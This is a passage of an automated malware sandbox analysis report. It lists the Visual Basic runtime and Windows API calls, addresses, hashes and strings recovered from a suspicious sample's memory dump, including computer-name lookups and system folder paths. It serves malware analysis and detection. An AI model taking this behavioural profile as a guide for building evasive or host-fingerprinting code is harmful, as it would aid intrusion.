__vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
#525.MSVBVM60(00000000), ref: 004229EC
__vbaStrMove.MSVBVM60 ref: 004229F7
__vbaI2I4.MSVBVM60 ref: 00422A07
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
__vbaI2I4.MSVBVM60 ref: 00422A22
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422A4A
__vbaStrCopy.MSVBVM60 ref: 00422A68
__vbaStrMove.MSVBVM60(00000003), ref: 00422A79
#616.MSVBVM60(00000000), ref: 00422A80
__vbaStrMove.MSVBVM60 ref: 00422A8B

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00422AA0
__vbaStrCmp.MSVBVM60(00000000), ref: 00422AA7
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422ACE

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?), ref: 00422AF4
__vbaStrMove.MSVBVM60(00000004), ref: 00422B15
#618.MSVBVM60(00000000), ref: 00422B1C
__vbaStrMove.MSVBVM60 ref: 00422B27
__vbaI4Str.MSVBVM60(00000000), ref: 00422B2E
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422B45
__vbaI2I4.MSVBVM60 ref: 00422B78
__vbaFileClose.MSVBVM60(00000000), ref: 00422B7F
__vbaFreeStr.MSVBVM60(00422BC8), ref: 00422BB8
__vbaFreeStr.MSVBVM60 ref: 00422BC1
__vbaErrorOverflow.MSVBVM60 ref: 00422BDE

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$FreeMove$#516#631BstrCopyFile$ErrorList$#525#537#570#616#618#648ChkstkCloseGet3OpenOverflowSeek
String ID:
API String ID: 1066637744-0
Opcode ID: 1310a2324c3d0e81e2fafee1945da52a380a74b9ab6bd6eb12e74ada3333a6c7
Instruction ID: 321561c39fc04c0ddddefdb4371944f0511538a09f439f710ae93618e622a53c
Opcode Fuzzy Hash: 1310a2324c3d0e81e2fafee1945da52a380a74b9ab6bd6eb12e74ada3333a6c7
Instruction Fuzzy Hash: A681D675D00248EFDB04EFA0EA48BDEBBB4FF48705F108169E612B72A0DB745A49CB54

Function 00429CA0 Relevance: 27.1, APIs: 18, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaSetSystemError.MSVBVM60(00000064,004031C0,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429CF6
#525.MSVBVM60(00000200,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D05
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D16
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D20
SHGetPathFromIDList.SHELL32(?,00000000), ref: 00429D30
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D3A
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D43
#537.MSVBVM60(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D50
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5B
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5F
#616.MSVBVM60(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D73
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D7E
__vbaStrCat.MSVBVM60(00406544,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D86
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D91
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D9D
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DB5
__vbaFreeStr.MSVBVM60(00429DEF,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DE8
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429E05

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$ErrorList$#525#537#616AnsiCopyFromOverflowPathSystemUnicode
String ID:
API String ID: 3494673155-0
Opcode ID: 06e0597c0c0a64de7a739e86bbd130d0eaa357415623081fa9728b986bb3ce25
Instruction ID: 358cedcb50fb0de278f4ad7536de046e5609ba25d4bc9f82414949036a89438a
Opcode Fuzzy Hash: 06e0597c0c0a64de7a739e86bbd130d0eaa357415623081fa9728b986bb3ce25
Instruction Fuzzy Hash: 46310E71D10219AFDB04EFB5DD89DEEBBB8EF58700F10812AE506B6260DA785905CB64

Function 0041E880 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,0040BC8B), ref: 0041E89E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8CE
#525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8E0
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E8EB
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041E8FC
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041E911
GetComputerNameA.KERNEL32(00000000), ref: 0041E91D
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041E92B
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E934
#537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041E949
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E954
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041E95D
#616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041E96D
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E978
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E981
__vbaFreeStr.MSVBVM60(0041E9B5,?,?,?,00000000,Function_000032B6), ref: 0041E9AE
__vbaErrorOverflow.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E9C9

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$FreeMove$Error$#525#537#616AnsiBstrChkstkComputerNameOverflowUnicode
String ID:
API String ID: 3892761589-0
Opcode ID: 315b392100c3462b08fcc4b1466ef19faf135d5fa9e097fc028cf97c92f61f1c
Instruction ID: ddd52465c9ed4945c744d66910b811b9efcc79ef8180f597879438901a225856
Opcode Fuzzy Hash: 315b392100c3462b08fcc4b1466ef19faf135d5fa9e097fc028cf97c92f61f1c
Instruction Fuzzy Hash: 3531ECB5900149EFDB04EFA4DE4DBDEBBB8EB08701F108169E502B62A0DB755A44CB64

Function 00403670 Relevance: 1.7, APIs: 1, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(00403ED4), ref: 00403675

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: 11ea1c51b5a51515781a12991443ec066bd5106ecc6824d3c35676c3fc523bff
Instruction ID: 87d76072f60c1bc7f33af001724cdeb9567c685050ecb4be3524b273619080b8
Opcode Fuzzy Hash: 11ea1c51b5a51515781a12991443ec066bd5106ecc6824d3c35676c3fc523bff
Instruction Fuzzy Hash: 805185A680E7C15FC70387704D756557FB0AE23209B2E86EBC4C0DB1E3E2AD590AD766

Non-executed Functions

Function 00416130 Relevance: 720.3, APIs: 407, Strings: 3, Instructions: 2826COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00416205
__vbaSetSystemError.MSVBVM60 ref: 00416230
__vbaSetSystemError.MSVBVM60 ref: 00416251
__vbaStrMove.MSVBVM60(?), ref: 00416271
__vbaStrMove.MSVBVM60(0042C028), ref: 00416284
__vbaGenerateBoundsError.MSVBVM60 ref: 004162D2
__vbaGenerateBoundsError.MSVBVM60 ref: 00416315
__vbaStrCat.MSVBVM60(00000000,00407CCC,00000000,00000001), ref: 00416350
__vbaStrMove.MSVBVM60 ref: 00416357
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0041635F
__vbaStrMove.MSVBVM60 ref: 00416366
__vbaInStr.MSVBVM60(00000001,00000000), ref: 0041636B
__vbaStrCat.MSVBVM60(00000000,00406F58,00000000,00000001), ref: 0041639A
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9

Strings

system32\drivers\, xrefs: 00416C93, 00417F4F, 0041854A
d/m/yy h:m, xrefs: 00416560, 00417E40
system\, xrefs: 0041702F, 0041834B, 00418442, 00418946, 00418A3E

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Error$Move$System$BoundsFreeGenerateUnlock
String ID: d/m/yy h:m$system32\drivers\$system\
API String ID: 4109330638-2282477228
Opcode ID: 161571ce6ef3f7305a61f0ace64fbd078412d40ef427ac6ccd469720dc9a114e
Instruction ID: d0160703c745c1a143ef53c75ac1b7ca3f1d84f450066f924383876c7bbd0f3b
Opcode Fuzzy Hash: 161571ce6ef3f7305a61f0ace64fbd078412d40ef427ac6ccd469720dc9a114e
Instruction Fuzzy Hash: 93336D71A00219DFCB14DFA4DD84AEEB7B9FF48300F10816AE50AE7265DB749985CF68

Function 004172E5 Relevance: 67.9, APIs: 45, Instructions: 372COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 004172EC
#631.MSVBVM60(00000000,-00000001,?), ref: 0041731F
__vbaFreeStr.MSVBVM60 ref: 00417340
__vbaFreeVar.MSVBVM60 ref: 00417349
#616.MSVBVM60(00000000,00000000), ref: 00417370
#631.MSVBVM60(00000000,-00000003,0000000A,00000000), ref: 00417399
#616.MSVBVM60(00000000,00000000), ref: 004173C9
#631.MSVBVM60(00000000,-00000002,0000000A,00000000), ref: 004173F1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00417414
__vbaFreeVar.MSVBVM60 ref: 00417420
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$Error$#631System$#616ListUnlock$BoundsBstrGenerate$CopyLockOverflow
String ID:
API String ID: 1595817071-0
Opcode ID: fb2a2bfa88c22efa9ac14300410e64a9e07382cf4d2ae5499a4c189e4441db04
Instruction ID: 643dac4b4df38dfcdabcb7d24b6f5cff0a220186fca35a0c0bc2019b66c0cc28
Opcode Fuzzy Hash: fb2a2bfa88c22efa9ac14300410e64a9e07382cf4d2ae5499a4c189e4441db04
Instruction Fuzzy Hash: 78E119B0E002189BDB14DFA5DD84AEEBBB9FF48300F50856EE50AE7250DB745986CF58

Function 0041725A Relevance: 58.8, APIs: 39, Instructions: 312COMMON

Download Yara Rule

APIs

__vbaLenBstr.MSVBVM60(00000000), ref: 00417261
#631.MSVBVM60(00000000,-00000001,?), ref: 00417294
__vbaFreeStr.MSVBVM60 ref: 004172B5
__vbaFreeVar.MSVBVM60 ref: 004172BE
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$ErrorFree$System$Unlock$#631BoundsBstrGenerateList$#616CopyLockOverflow
String ID:
API String ID: 1495372892-0
Opcode ID: 22a3bcf0e505ccb7d1cfaf72ba36ede29405f1e0ff0f99610f098486df82b262
Instruction ID: a67bb8bcd321ef6f9d89d5af411f850dddceec761c9aca37c4a66d17d3038916
Opcode Fuzzy Hash: 22a3bcf0e505ccb7d1cfaf72ba36ede29405f1e0ff0f99610f098486df82b262
Instruction Fuzzy Hash: 19C127B0E002199FCB14DFA5DD84AEEBBB9FB48300F50816EE50AA7250DB746985CF58

Function 004171D7 Relevance: 57.3, APIs: 38, Instructions: 310COMMON

Download Yara Rule

APIs

#631.MSVBVM60(00000000,-00000001,?), ref: 00417209
__vbaFreeStr.MSVBVM60 ref: 0041722A
__vbaFreeVar.MSVBVM60 ref: 00417233
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$ErrorFree$System$Unlock$#631BoundsGenerateList$#616BstrCopyLockOverflow
String ID:
API String ID: 591398060-0
Opcode ID: 961b67fc1f124d54495ebaca63011b730f5cf7ed414c292a9bb7346f90505c59
Instruction ID: 5850bdb2f8cb840655fe358dbb68f1bf167492e12e76f8ba6df4694bbfc137e4
Opcode Fuzzy Hash: 961b67fc1f124d54495ebaca63011b730f5cf7ed414c292a9bb7346f90505c59
Instruction Fuzzy Hash: 88C117B0E002199FDB14DFA9DD84AEEBBB9FB48300F50816EE509A7250DB746985CF58

Function 00417143 Relevance: 55.8, APIs: 37, Instructions: 288COMMON

Download Yara Rule

APIs

__vbaInStr.MSVBVM60(00000000,Function_00009254,00000000,00000000), ref: 00417157
__vbaLenBstr.MSVBVM60(00000000), ref: 00417180
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaSetSystemError.MSVBVM60 ref: 00417B9B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$ErrorFreeMove$BstrSystemUnlock$#616#631BoundsCopyGenerateListLockOverflow
String ID:
API String ID: 4020600759-0
Opcode ID: 01b4123d1384e175d7db15ed5fda37c47c0d54542c8545c3d7772e666950e406
Instruction ID: 6f59f1f6fd00cf4eb64356afd8b00aa24b7c42f8971466ecdf1fdd0f8cb9e506
Opcode Fuzzy Hash: 01b4123d1384e175d7db15ed5fda37c47c0d54542c8545c3d7772e666950e406
Instruction Fuzzy Hash: D8C108B1E00218DFDB14DFA9DD84AEEBBB9FB48300F50816EE509A7250DB745985CF58

Function 00417190 Relevance: 54.3, APIs: 36, Instructions: 286COMMON

Download Yara Rule

APIs

#709.MSVBVM60(00000000,Function_00009254,00000000,00000000), ref: 004171A4
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaSetSystemError.MSVBVM60 ref: 00417B9B

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$ErrorFreeMove$SystemUnlock$#616#631#709BoundsBstrCopyGenerateListLockOverflow
String ID:
API String ID: 2767930602-0
Opcode ID: da9e1a5cc3e3cb8c691cd4fe22436f69490de0b4f09a0e23afe83290d4890e94
Instruction ID: fd14dd4b6f58a52c042ba838fbe59068618bb76b1adec8898ddb627e80e0b945
Opcode Fuzzy Hash: da9e1a5cc3e3cb8c691cd4fe22436f69490de0b4f09a0e23afe83290d4890e94
